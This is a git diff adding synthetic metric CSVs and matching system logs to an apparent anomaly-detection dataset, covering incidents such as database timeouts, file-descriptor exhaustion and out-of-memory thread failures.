+2025-10-02T10:02:00Z,19.23,0.0,41.87,16.48,0.6,0.45 +2025-10-02T10:02:05Z,13.91,0.0,44.49,17.11,0.8,0.92 +2025-10-02T10:02:10Z,20.56,0.0,37.3,21.81,1.17,1.3 +2025-10-02T10:02:15Z,17.39,0.0,38.74,26.72,0.68,0.69 +2025-10-02T10:02:20Z,14.47,0.0,39.04,12.13,1.29,1.22 +2025-10-02T10:02:25Z,19.95,0.0,43.15,23.25,0.77,1.12 +2025-10-02T10:02:30Z,16.49,35.44,39.18,16.93,1.01,1.24 +2025-10-02T10:02:35Z,13.75,24.05,46.16,6.08,0.21,1.57 +2025-10-02T10:02:40Z,14.23,41.67,39.25,26.93,1.03,1.05 +2025-10-02T10:02:45Z,15.01,26.64,36.88,33.23,0.85,1.35 +2025-10-02T10:02:50Z,16.75,24.21,36.39,21.74,0.53,1.08 +2025-10-02T10:02:55Z,12.24,29.75,39.03,26.14,0.7,0.91 +2025-10-02T10:03:00Z,16.49,26.76,40.05,35.76,0.49,1.07 +2025-10-02T10:03:05Z,16.21,35.6,38.33,25.7,0.66,1.05 +2025-10-02T10:03:10Z,11.61,46.63,45.77,25.09,0.64,0.83 +2025-10-02T10:03:15Z,11.97,21.81,42.95,23.59,1.21,1.89 +2025-10-02T10:03:20Z,14.72,21.47,41.74,27.28,1.09,1.37 +2025-10-02T10:03:25Z,13.38,23.61,35.75,22.29,0.87,1.05 +2025-10-02T10:03:30Z,21.69,34.8,36.13,32.62,0.51,1.51 +2025-10-02T10:03:35Z,11.58,41.5,27.3,18.42,0.78,0.71 +2025-10-02T10:03:40Z,13.77,27.12,39.1,19.8,0.77,1.02 +2025-10-02T10:03:45Z,16.3,39.0,35.38,28.89,0.81,1.24 +2025-10-02T10:03:50Z,20.13,23.3,41.65,23.95,1.3,1.55 +2025-10-02T10:03:55Z,14.99,40.69,36.52,21.19,0.38,1.5 +2025-10-02T10:04:00Z,14.68,21.59,40.02,38.02,0.89,1.19 +2025-10-02T10:04:05Z,16.58,48.36,42.21,26.47,0.35,1.3 +2025-10-02T10:04:10Z,11.75,25.79,33.52,35.33,1.38,1.0 +2025-10-02T10:04:15Z,16.13,23.06,41.39,29.03,0.6,1.85 +2025-10-02T10:04:20Z,13.06,40.98,44.58,30.05,0.39,1.32 +2025-10-02T10:04:25Z,14.3,32.07,40.44,22.58,1.14,1.77 +2025-10-02T10:04:30Z,14.32,35.98,38.24,23.86,0.53,0.99 +2025-10-02T10:04:35Z,13.96,21.07,48.24,21.53,0.77,1.06 +2025-10-02T10:04:40Z,14.43,31.92,41.24,27.83,1.11,1.19 +2025-10-02T10:04:45Z,17.92,35.8,44.57,13.39,0.86,1.06 +2025-10-02T10:04:50Z,21.68,28.16,41.37,17.76,0.83,1.29 +2025-10-02T10:04:55Z,13.91,48.91,41.61,18.98,0.58,0.98 +2025-10-02T10:05:00Z,21.35,0.0,46.81,27.93,1.22,1.1 +2025-10-02T10:05:05Z,18.65,0.0,41.04,20.73,0.42,0.87 +2025-10-02T10:05:10Z,15.23,0.0,41.11,15.59,0.83,1.03 +2025-10-02T10:05:15Z,13.45,0.0,46.06,24.2,0.75,1.61 +2025-10-02T10:05:20Z,11.72,0.0,47.92,30.16,0.82,0.95 +2025-10-02T10:05:25Z,11.76,0.0,36.8,37.13,0.15,1.14 +2025-10-02T10:05:30Z,13.09,0.0,42.37,39.12,0.93,1.47 +2025-10-02T10:05:35Z,13.89,0.0,46.43,12.9,0.53,0.46 +2025-10-02T10:05:40Z,13.26,0.0,33.74,30.12,0.94,0.31 +2025-10-02T10:05:45Z,14.83,0.0,37.36,22.55,0.08,1.82 +2025-10-02T10:05:50Z,16.64,0.0,35.03,22.94,0.93,1.49 +2025-10-02T10:05:55Z,15.79,0.0,41.02,27.5,0.72,1.71 +2025-10-02T10:06:00Z,14.31,0.0,47.0,23.17,0.51,1.96 +2025-10-02T10:06:05Z,13.72,0.0,38.53,40.45,0.74,1.45 +2025-10-02T10:06:10Z,11.16,0.0,48.44,27.35,0.88,1.54 +2025-10-02T10:06:15Z,11.45,0.0,41.29,22.87,0.6,0.78 +2025-10-02T10:06:20Z,18.55,0.0,45.41,27.87,0.73,1.16 +2025-10-02T10:06:25Z,10.56,0.0,42.75,30.78,0.74,0.97 +2025-10-02T10:06:30Z,13.57,0.0,35.34,26.68,0.59,1.33 +2025-10-02T10:06:35Z,18.33,0.0,43.02,21.62,0.93,1.62 +2025-10-02T10:06:40Z,15.36,0.0,37.63,24.08,0.46,1.31 +2025-10-02T10:06:45Z,21.21,0.0,41.92,18.02,1.38,1.5 +2025-10-02T10:06:50Z,15.52,0.0,29.78,27.03,0.7,0.18 +2025-10-02T10:06:55Z,14.38,0.0,50.63,21.33,0.74,1.72 +2025-10-02T10:07:00Z,15.2,0.0,49.73,37.71,0.41,1.51 +2025-10-02T10:07:05Z,18.3,0.0,49.74,24.8,0.61,1.3 +2025-10-02T10:07:10Z,15.45,0.0,37.56,21.43,0.67,1.46 +2025-10-02T10:07:15Z,14.85,0.0,40.84,18.02,1.08,1.59 +2025-10-02T10:07:20Z,18.7,0.0,43.2,30.55,0.59,1.43 +2025-10-02T10:07:25Z,18.84,0.0,30.13,17.06,0.4,1.02 diff --git a/anom_dataset/scenario_5/anom_5_9.log b/anom_dataset/scenario_5/anom_5_9.log new file mode 100644 index 0000000000000000000000000000000000000000..3958c24e6094fa84626d341b112f0ed872143af4 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_9.log @@ -0,0 +1,57 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:00:10 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:00:45 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:15 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:01:20 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:01:55 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:02:30 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:02:30 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:02:35 web-app[5678]: INFO user_id=2055 experienced high latency on checkout page: 5717ms +Jul 02 10:02:40 web-app[5678]: ERROR Request timeout for user_id=1747 path=/api/v1/data +Jul 02 10:02:45 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:02:50 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:02:55 web-app[5678]: INFO user_id=2028 experienced high latency on checkout page: 7888ms +Jul 02 10:03:00 web-app[5678]: ERROR Request timeout for user_id=1557 path=/api/v1/data +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:05 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:03:05 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:03:10 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:03:15 web-app[5678]: INFO user_id=2788 experienced high latency on checkout page: 6996ms +Jul 02 10:03:20 web-app[5678]: ERROR Request timeout for user_id=1013 path=/api/v1/data +Jul 02 10:03:25 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:03:30 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:03:35 web-app[5678]: INFO user_id=2007 experienced high latency on checkout page: 6376ms +Jul 02 10:03:40 web-app[5678]: ERROR Request timeout for user_id=1483 path=/api/v1/data +Jul 02 10:03:40 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:03:45 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:03:45 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:03:50 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:03:55 web-app[5678]: INFO user_id=2145 experienced high latency on checkout page: 5837ms +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 web-app[5678]: ERROR Request timeout for user_id=1594 path=/api/v1/data +Jul 02 10:04:05 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:04:10 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:04:15 web-app[5678]: INFO user_id=2476 experienced high latency on checkout page: 5999ms +Jul 02 10:04:15 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:04:20 web-app[5678]: ERROR Request timeout for user_id=1292 path=/api/v1/data +Jul 02 10:04:25 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:04:30 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:04:35 web-app[5678]: INFO user_id=2991 experienced high latency on checkout page: 7515ms +Jul 02 10:04:40 web-app[5678]: ERROR Request timeout for user_id=1355 path=/api/v1/data +Jul 02 10:04:45 web-app[5678]: WARN Upstream service /api/v2/inventory returned 503 +Jul 02 10:04:50 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:04:50 web-app[5678]: ERROR Database query timed out: SELECT * FROM products WHERE ... +Jul 02 10:04:55 web-app[5678]: INFO user_id=2225 experienced high latency on checkout page: 7094ms +Jul 02 10:05:00 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:25 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:00 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:06:15 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:06:35 nginx[4321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:10 nginx[4321]: GET /healthz HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_6/anom_6_1.csv b/anom_dataset/scenario_6/anom_6_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..e581d601467bed49c129dfe2696554f1dd6b2a76 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,14.848630982639554,37.348044199550884,23.933665495180144,1.4682374200969863,1.7081930403153032 +2025-08-15T10:00:05Z,12.401866279791323,37.116148533265886,19.41194599061646,0.8421920045237119,1.1670812829019444 +2025-08-15T10:00:10Z,22.752269919135408,36.34768311721165,19.410371265143194,1.440190247701127,1.159620674443259 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0000000000000000000000000000000000000000..40839b4e8b93cefc1e81bc5ac2cba5bf1a099f6f --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_1.log @@ -0,0 +1,63 @@ +Aug 15 10:00:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:00:00 systemd[1]: Started Session 100 of user service-account. +Aug 15 10:00:00 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 15 10:00:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:00:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:00:50 systemd[1]: Started Session 110 of user service-account. +Aug 15 10:01:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:01:15 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 15 10:01:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:01:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:01:40 systemd[1]: Started Session 120 of user service-account. +Aug 15 10:02:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:02:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:02:30 systemd[1]: Started Session 130 of user service-account. +Aug 15 10:02:30 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 15 10:02:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:03:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 15 10:03:20 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:03:30 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 15 10:03:45 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:04:05 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 15 10:04:10 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:04:35 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:04:40 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 15 10:05:00 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:05:15 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 15 10:05:25 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 15 10:05:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:05:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:05:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:06:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:06:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:30 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:30 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:30 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:06:35 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:40 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:40 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:45 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:45 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:06:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:06:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:07:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:07:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:07:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 15 10:07:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 15 10:07:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_10.csv b/anom_dataset/scenario_6/anom_6_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..321c5871292b2c555c046c3699d97c380424d8d8 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,24.96,39.09,20.38,0.99,1.63 +2025-08-23T10:00:05Z,23.27,39.74,25.69,1.22,1.77 +2025-08-23T10:00:10Z,21.94,37.53,23.05,0.94,1.05 +2025-08-23T10:00:15Z,15.83,35.04,23.03,0.99,1.32 +2025-08-23T10:00:20Z,21.43,35.93,29.98,0.93,1.31 +2025-08-23T10:00:25Z,15.87,38.5,23.17,1.13,1.06 +2025-08-23T10:00:30Z,20.11,39.87,22.81,1.24,1.01 +2025-08-23T10:00:35Z,16.66,35.48,21.22,0.94,1.41 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+2025-08-23T10:02:20Z,15.81,38.09,27.83,1.01,1.45 +2025-08-23T10:02:25Z,15.54,35.8,29.18,0.86,1.15 +2025-08-23T10:02:30Z,20.71,36.75,21.24,1.47,1.43 +2025-08-23T10:02:35Z,21.66,35.41,28.16,0.87,1.72 +2025-08-23T10:02:40Z,22.5,35.5,28.68,1.45,1.59 +2025-08-23T10:02:45Z,19.73,36.18,25.23,1.06,1.36 +2025-08-23T10:02:50Z,24.37,39.42,23.39,1.5,1.71 +2025-08-23T10:02:55Z,22.5,37.12,29.7,1.18,1.48 +2025-08-23T10:03:00Z,17.11,37.39,26.64,0.93,1.01 +2025-08-23T10:03:05Z,23.45,38.19,26.58,1.44,1.08 +2025-08-23T10:03:10Z,16.18,37.78,23.45,1.39,1.69 +2025-08-23T10:03:15Z,23.24,37.99,23.7,1.12,1.65 +2025-08-23T10:03:20Z,25.47,41.96,27.58,1.07,1.53 +2025-08-23T10:03:25Z,28.08,40.98,24.17,1.14,1.04 +2025-08-23T10:03:30Z,28.37,44.51,24.22,0.9,1.42 +2025-08-23T10:03:35Z,25.62,44.33,26.74,1.13,1.65 +2025-08-23T10:03:40Z,24.1,49.22,20.52,1.2,1.0 +2025-08-23T10:03:45Z,27.24,49.29,29.43,1.42,1.42 +2025-08-23T10:03:50Z,27.93,53.78,20.85,1.01,1.11 +2025-08-23T10:03:55Z,26.08,53.32,22.51,1.0,1.65 +2025-08-23T10:04:00Z,21.05,57.01,23.86,1.31,1.22 +2025-08-23T10:04:05Z,29.97,58.79,26.1,0.86,1.6 +2025-08-23T10:04:10Z,23.78,61.27,25.44,1.13,1.6 +2025-08-23T10:04:15Z,22.1,63.37,26.73,0.97,1.13 +2025-08-23T10:04:20Z,25.78,66.66,23.18,1.45,1.04 +2025-08-23T10:04:25Z,21.21,68.81,21.72,1.49,1.3 +2025-08-23T10:04:30Z,24.38,70.08,25.35,1.09,1.42 +2025-08-23T10:04:35Z,27.94,69.81,29.96,1.12,1.6 +2025-08-23T10:04:40Z,25.36,73.04,24.04,1.37,1.49 +2025-08-23T10:04:45Z,27.38,76.0,23.53,0.85,1.63 +2025-08-23T10:04:50Z,26.57,79.83,20.32,1.41,1.25 +2025-08-23T10:04:55Z,28.08,79.25,23.92,1.21,1.72 +2025-08-23T10:05:00Z,85.64,82.08,20.77,0.24,0.33 +2025-08-23T10:05:05Z,89.57,82.99,27.1,0.15,0.22 +2025-08-23T10:05:10Z,87.88,81.55,28.52,0.16,0.45 +2025-08-23T10:05:15Z,92.38,84.49,29.1,0.32,0.43 +2025-08-23T10:05:20Z,97.61,84.42,20.92,0.26,0.4 +2025-08-23T10:05:25Z,85.88,80.33,24.46,0.16,0.32 +2025-08-23T10:05:30Z,88.56,84.35,20.91,0.23,0.21 +2025-08-23T10:05:35Z,87.97,80.97,27.26,0.14,0.46 +2025-08-23T10:05:40Z,95.71,83.47,20.51,0.18,0.2 +2025-08-23T10:05:45Z,85.94,82.39,22.62,0.24,0.46 +2025-08-23T10:05:50Z,86.67,80.89,24.96,0.39,0.27 +2025-08-23T10:05:55Z,94.81,84.28,27.66,0.11,0.5 +2025-08-23T10:06:00Z,91.11,80.56,21.5,0.21,0.35 +2025-08-23T10:06:05Z,86.93,84.59,23.21,0.12,0.22 +2025-08-23T10:06:10Z,94.53,81.54,22.16,0.15,0.28 +2025-08-23T10:06:15Z,92.79,80.02,26.99,0.4,0.49 +2025-08-23T10:06:20Z,97.48,81.19,20.19,0.21,0.32 +2025-08-23T10:06:25Z,94.96,80.09,24.92,0.33,0.44 +2025-08-23T10:06:30Z,94.79,84.4,28.67,0.37,0.35 +2025-08-23T10:06:35Z,97.6,83.44,21.33,0.26,0.43 +2025-08-23T10:06:40Z,85.17,85.55,17.26,0.22,0.23 +2025-08-23T10:06:45Z,88.34,84.79,20.54,0.27,0.33 +2025-08-23T10:06:50Z,93.99,85.17,19.42,0.11,0.34 +2025-08-23T10:06:55Z,83.18,85.76,21.67,0.21,0.4 +2025-08-23T10:07:00Z,88.8,84.95,21.47,0.17,0.28 +2025-08-23T10:07:05Z,93.77,84.21,18.23,0.23,0.3 +2025-08-23T10:07:10Z,85.43,85.16,23.24,0.11,0.25 +2025-08-23T10:07:15Z,81.92,84.02,15.77,0.25,0.38 +2025-08-23T10:07:20Z,85.29,84.8,19.52,0.17,0.29 +2025-08-23T10:07:25Z,82.51,85.23,15.95,0.2,0.22 diff --git a/anom_dataset/scenario_6/anom_6_10.log b/anom_dataset/scenario_6/anom_6_10.log new file mode 100644 index 0000000000000000000000000000000000000000..f384a55d198cb231f4123eb94453c568e6dad72d --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_10.log @@ -0,0 +1,35 @@ +Aug 23 10:00:00 web-1 database[1120]: INFO: Query executed successfully. rows=15 +Aug 23 10:00:20 web-1 app-server[3451]: INFO: GET /api/v1/data request processed in 55ms +Aug 23 10:00:40 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:01:00 web-1 cron[5512]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:01:20 web-1 database[1120]: INFO: Query executed successfully. rows=15 +Aug 23 10:01:40 web-1 database[1120]: INFO: Connection established: user='readonly', db='metrics' +Aug 23 10:02:00 web-1 app-server[3451]: INFO: User 'alex' logged in successfully from 192.168.1.10 +Aug 23 10:02:20 web-1 database[1120]: INFO: Connection established: user='readonly', db='metrics' +Aug 23 10:02:40 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:03:00 web-1 database[1120]: INFO: Connection established: user='readonly', db='metrics' +Aug 23 10:03:20 web-1 app-server[3451]: INFO: GET /api/v1/data request processed in 55ms +Aug 23 10:03:40 web-1 app-server[3451]: INFO: User 'alex' logged in successfully from 192.168.1.10 +Aug 23 10:04:00 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:04:20 web-1 app-server[3451]: INFO: GET /api/v1/data request processed in 55ms +Aug 23 10:04:40 web-1 app-server[3451]: INFO: User 'alex' logged in successfully from 192.168.1.10 +Aug 23 10:05:00 web-1 app-server[3451]: ERROR: Exception in connection handler: java.net.SocketException: Too many open files +Aug 23 10:05:00 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:05:15 web-1 app-server[3451]: WARN: High number of open file descriptors: 4090 (limit: 4096) +Aug 23 10:05:20 web-1 database[1120]: INFO: Connection established: user='readonly', db='metrics' +Aug 23 10:05:30 web-1 kernel: [11345.678] unable to create new native thread +Aug 23 10:05:40 web-1 cron[5512]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:05:45 web-1 app-server[3451]: ERROR: Failed to create new thread for incoming request from 192.168.1.22 +Aug 23 10:06:00 web-1 app-server[3451]: ERROR: Failed to create new thread for incoming request from 192.168.1.22 +Aug 23 10:06:00 web-1 app-server[3451]: INFO: GET /api/v1/data request processed in 55ms +Aug 23 10:06:15 web-1 haproxy[2101]: Connect from 192.168.1.50:54321 failed: upstream server is unavailable +Aug 23 10:06:20 web-1 app-server[3451]: INFO: GET /api/v1/data request processed in 55ms +Aug 23 10:06:30 web-1 haproxy[2101]: Connect from 192.168.1.50:54321 failed: upstream server is unavailable +Aug 23 10:06:40 web-1 app-server[3451]: WARN: High number of open file descriptors: 4090 (limit: 4096) +Aug 23 10:06:40 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:06:50 web-1 app-server[3451]: WARN: High number of open file descriptors: 4090 (limit: 4096) +Aug 23 10:07:00 web-1 haproxy[2101]: Connect from 192.168.1.50:54321 failed: upstream server is unavailable +Aug 23 10:07:00 web-1 systemd[1]: Started Session 145 for user 'ubuntu'. +Aug 23 10:07:10 web-1 app-server[3451]: FATAL: java.lang.OutOfMemoryError: unable to create new native thread. Halting. +Aug 23 10:07:20 web-1 app-server[3451]: ERROR: Exception in connection handler: java.net.SocketException: Too many open files +Aug 23 10:07:20 web-1 database[1120]: INFO: Query executed successfully. rows=15 diff --git a/anom_dataset/scenario_6/anom_6_11.csv b/anom_dataset/scenario_6/anom_6_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..887023e772f302523682ffbb8aa1002c779d50d4 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,24.964446016022762,41.96151085979378,26.94373684496196,0.7498894282031972,1.0856699322070227 +2025-08-23T10:00:05Z,15.868461704481383,40.06894006704903,21.663699141375332,1.1752693523907702,1.1668671307747307 +2025-08-23T10:00:10Z,15.382385670801177,40.997919366742124,26.627712707050698,0.8463500415864585,1.1119636747085513 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0000000000000000000000000000000000000000..313a77ca36b9fe85f19ac264c6ed82b97ba8dc59 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_11.log @@ -0,0 +1,25 @@ +Aug 23 10:00:00 app-server[1123]: INFO Starting application version 2.1.5 +Aug 23 10:00:25 app-server[1123]: INFO Health check passed for service 'database-connector' +Aug 23 10:01:05 app-server[1123]: INFO User 'admin' logged in from 192.168.1.100 +Aug 23 10:01:50 app-server[1123]: INFO Processing batch job #451, 150 items found. +Aug 23 10:02:40 app-server[1123]: INFO Batch job #451 completed successfully. +Aug 23 10:03:05 app-server[1123]: WARN High number of open file descriptors detected: 8192 +Aug 23 10:05:07 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:05:11 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:05:16 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:05:21 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:05:50 CRON[28101]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:05:56 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:06:01 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:06:07 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:06:11 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:06:26 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:06:33 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:06:37 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:06:40 app-server[1123]: INFO Health check passed for service 'cache-service' +Aug 23 10:06:47 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:06:51 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:06:56 app-server[1123]: ERROR Exception in connection handler: java.io.IOException: Too many open files +Aug 23 10:07:12 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:07:18 ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread +Aug 23 10:07:26 